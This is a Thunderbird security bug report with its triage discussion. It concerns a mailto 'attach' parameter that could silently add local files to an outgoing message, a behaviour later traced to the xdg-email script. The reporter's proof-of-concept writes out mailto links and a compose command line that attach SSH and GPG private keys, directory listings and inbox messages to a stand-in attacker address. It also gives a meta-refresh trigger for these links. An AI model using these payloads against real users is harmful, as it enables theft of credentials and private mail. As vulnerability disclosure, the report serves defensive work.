Closed Bug 1613425 Opened 5 years ago Closed 4 years ago

Proprietary mailto?attach=... parameter allows to leak arbitrary files on disk

Categories

(Thunderbird :: Security, defect)

Product:
Thunderbird
Component:
Security
Version:
58 Branch
Type:
defect
Priority:
Not set
Severity:
normal

Tracking

(Not tracked)

Status:
RESOLVED INVALID

People

(Reporter: jens.a.mueller, Unassigned)

Details

(Keywords: sec-moderate)

Attachments

(1 file)

mailto-attach-thunderbird.ogv (PoC)
1.93 MB, video/ogg
Details

User Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36

Steps to reproduce:

In the scope of academic research we stumbled over a flaw (feature?) in Thunderbird:

By using the proprietary (non-RFC6068) "mailto?attach=..." parameter, a website (or other sources for mailto links) can make Thunderbird to attach local files to the composed email. This is arguable a dangerous feature because it allows an attacker to exfiltrate arbitrary files on disk (and also email from the victim's IMAP account), if the victim sends an email based on attacker controlled mailto input and misses the attachment being added.

*** Proof-of-concept ***

Obtain sensitive files:
mailto:sid@evil.com?attach=/.gnupg/secring.gpg
mailto:sid@evil.com?attach=/.ssh/id_rsa

Obtain files without knowning their name:
mailto:sid@evil.com?attach=/tmp/*.txt

Obtain a full directory listing:
mailto:sid@evil.com?attach=~/

Obtain other emails in the victim's inbox:
mailto:sid@evil.com?attach=imap:///fetch>UID>/INBOX>1

Note that The existence of the attachment can be further obfuscated, by prepending multiple attach parameters with innocent file names or no file name at all (e.g., attach=/). Multiple attachments can be included at once by using multiple attach parameters in a single mailto URL. Also note that -- after 3 minutes -- Thunderbird auto-saves to the email (including all attachments) to the victim's IMAP `drafts' folder. This is problematic in the scenario of a malicious email provider which could trigger something like...

<meta http-equiv="refresh" content="60; URL=mailto:?attach=...">

...when the user is at lunchtime and thereby exfiltrate local files on disk to the attacker-controlled IMAP server.

EDIT:

mailto:sid@evil.com?attach=/.gnupg/secring.gpg
mailto:sid@evil.com?attach=/.ssh/id_rsa

Note that this only seems to work on Linux and I cannot reproduce it on current (68) TB versions.

Hello Jens, thanks a lot for your report.
You've reported this for Thunderbird 58.x, which wasn't an official release, but was only released as a beta version.

Only versions 52.x and 60.x were official releases.
Have you already tested if this bug can be reproduced with the 60.x versions?

Support for 52.x has ended in late 2018.
Support for 60.x has also ended recently, our final update was in November 2019.

It's unclear if we'd work on this bug, if only unsupported versions are affected.
We might no longer be able to create official builds of the older branches.

However, given that support for 60.x has only ended recently, and maybe not everyone has updated to 68.x yet, we could consider looking at this bug for 60.x, if it can be reproduced with 60.x

Status: UNCONFIRMED → NEW
Ever confirmed: true
Flags: needinfo?(jens.a.mueller)

What syntax is required to make this attack work?

A HTML message, with a body containing <a href="mailto:..."> ?

Component: Untriaged → Security

Are you sure it's the official binary? We've had this for ages: https://searchfox.org/comm-central/rev/33dfe6239696ba35c3da2b7100f8a2e6767bf1b1/mailnews/compose/src/nsSmtpUrl.cpp#87-91 so it shouldn't be happening

@Kai: yes, <a href="mailto:..."> (or <meta http-equiv="refresh" content="0; URL=mailto:...">)

Interesting, this still worked ~2 weeks ago on my Debian and Kali setup (but not on Windows or macOS).
Unfortunately, I did not find time to report it until yesterday (and did not write down the exact TB versions).

Give me some time to see if I can downgrade and reproduce.
But -- as Magnus mentioned -- this should be fixed in the official release since years.

Flags: needinfo?(jens.a.mueller)

I found time to reproduce and it still worked at least on TB 60.9.0 on Kali Linux -- please find attached a quick video.

Maybe someone can try to boot a current / apt-get updated Kali from USB and re-try if it's patched here -- I'm currently traveling and cannot perform such tests.

Hard to believe we would have supported the attach param from external URLs, but in any case if it's true I'm going to guess sec-moderate severity. It's really bad if someone falls victim, but there are a couple of unusual steps you'd have to get them to do.

Keywords: sec-moderate

Hello Jens, we've noticed that you reported this issue today on Twitter, and claimed that Thunderbird is affected:
https://twitter.com/jensvoid/status/1295358144600735744

Is it still correct that only older versions of Thunderbird were affected, but that Thunderbird 68 and newer are NOT affected?
Thank you.

Flags: needinfo?(jens.a.mueller)

Kai, I did claim that TB was affected (as well as Evoluation, KMail, IBM/HCL Notes and Pegasus Mail). All issues have been reported around February 2020, so it should be considered as fair to go online with a paper/tweet in August. Regarding Thunderbird, I did not do any re-testing. I only tested TB 52.5.2 and later on 60.9.0 (for Debian/Kali Linux) which was still vulnerable back then, while the issue did no longer work after an apt-get update (I did not remember to which version though). I did not take this issue to serious because, as Magnus stated, it should be have been fixed in the official code long time ago.

Flags: needinfo?(jens.a.mueller)

Well I still have no idea how it would have been possible with TB 52.5.2 or 60.9.0 (for Debian/Kali Linux). They must have had some special additions in their code which enabled this.

It worked on arch too, around Nov'19 but has been fixed in the meantime (don't know the exact version numbers).

Maybe some distros wanted to keep this feature internally? E.g., Gnome and KDE use it to allow applications to pass files to whatever $mailclient is used, which is why Evolution and KMail only introduced warnings/confirmation-dialogs as a countermeasure.

Confirmation from Twitter that the issue is patched on Thunderbird 68.10.0 for Kali.

Thanks. I guess we can open this bug now since it's public information anyway?

Status: NEW → RESOLVED
Closed: 4 years ago
Resolution: --- → INVALID

Full Ack.

Group: mail-core-security

Damn, I think the problem is https://gitlab.freedesktop.org/xdg/xdg-utils/-/blob/master/scripts/xdg-email.in#L51 in run_thunderbird().

Yes, looks like it!

Are you sure it’s safe to leave things as they are in Thunderbird? After all, the xdg-open bug can only exist because TB still has a command line interface that allows files to be attached to a new message. See https://gitlab.freedesktop.org/xdg/xdg-utils/-/blob/master/scripts/xdg-email.in#L77 – bug https://gitlab.freedesktop.org/xdg/xdg-utils/-/issues/177 is about the fact that an attach parameter in the mailto URL gets translated to a command line fragment of the form ,attachment='path'. The xdg-open bug may plug this one pathway to the thunderbird -compose to=sid@evil.com,attachment=/path/to/secring.gpg command line, but it seems to me that there will always be too many ways to trick a user into executing a command line supplied by the attacker. So my (non-TB developer) judgment would be that this bug most be reopened and this option must also be removed. In case you’re wondering: That command line still works in a newly downloaded Thunderbird 78.1.1.

If you can trick the user to run command lines supplied by the attacker, it's basically game over from there. The command line must be considered a safe environment.

Could you please consider to implement a warning if hidden file is attached via command line that it may contain sensitive data? For instance, Evolution, email agent in GNOME, already has such warning. As I can understand, the vulnerability is about lacking an explicit confirmation. The feature of attaching files cannot be removed from the xdg-email utility because other software (such as reportbug in Debian) relies on it. A dialog box with the confirmation could be implemented on xdg-email's side, though it would not be localized. I think the dialog should appear only once, so some cooperation between xdg-email and Thunderbird will be needed.

This vulnerability is about that such capabilities were exposed (by 3rd parties) through the mailto: protocol.
Thunderbird supports adding attachments from the command line, only not through mailto:.
See http://kb.mozillazine.org/Command_line_arguments_%28Thunderbird%29
thunderbird -compose "to='john@example.com,kathy@example.com',cc='britney@example.com',subject='dinner',body='How about dinner tonight?',attachment='C:\temp\info.doc,C:\temp\food.doc'"

I don't agree with comment 18. We can't assume users can be tricked to execute command line - if they do that there's quite more dramatic problems lined up for them.

We don’t need to dwell too much on my comment #18. I may have made a wrong call. I am not fully convinced that the issue can be disregarded because I still worry about an attacker sneaking this parameter into a command line that might otherwise look like a trustworthy Thunderbird execution. In the general sense it is certainly true that full control over the command line opens many other and more fundamental ways of attack that do not require Thunderbird.

(In reply to Nicholas Guriev from comment #20)

Could you please consider to implement a warning if hidden file is attached via command line that it may contain sensitive data? For instance, Evolution, email agent in GNOME, already has such warning. As I can understand, the vulnerability is about lacking an explicit confirmation. The feature of attaching files cannot be removed from the xdg-email utility because other software (such as reportbug in Debian) relies on it. A dialog box with the confirmation could be implemented on xdg-email's side, though it would not be localized. I think the dialog should appear only once, so some cooperation between xdg-email and Thunderbird will be needed.

I'm not convinced a dialog could easily be added on the xdg-utils side maybe it could be for gnome and kde but the smaller desktops i'm less sure it could be done reliably. I also agree it would be better for the warning to be added in thunderbird which would also cover any alternate implementations that might show up some day.

You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: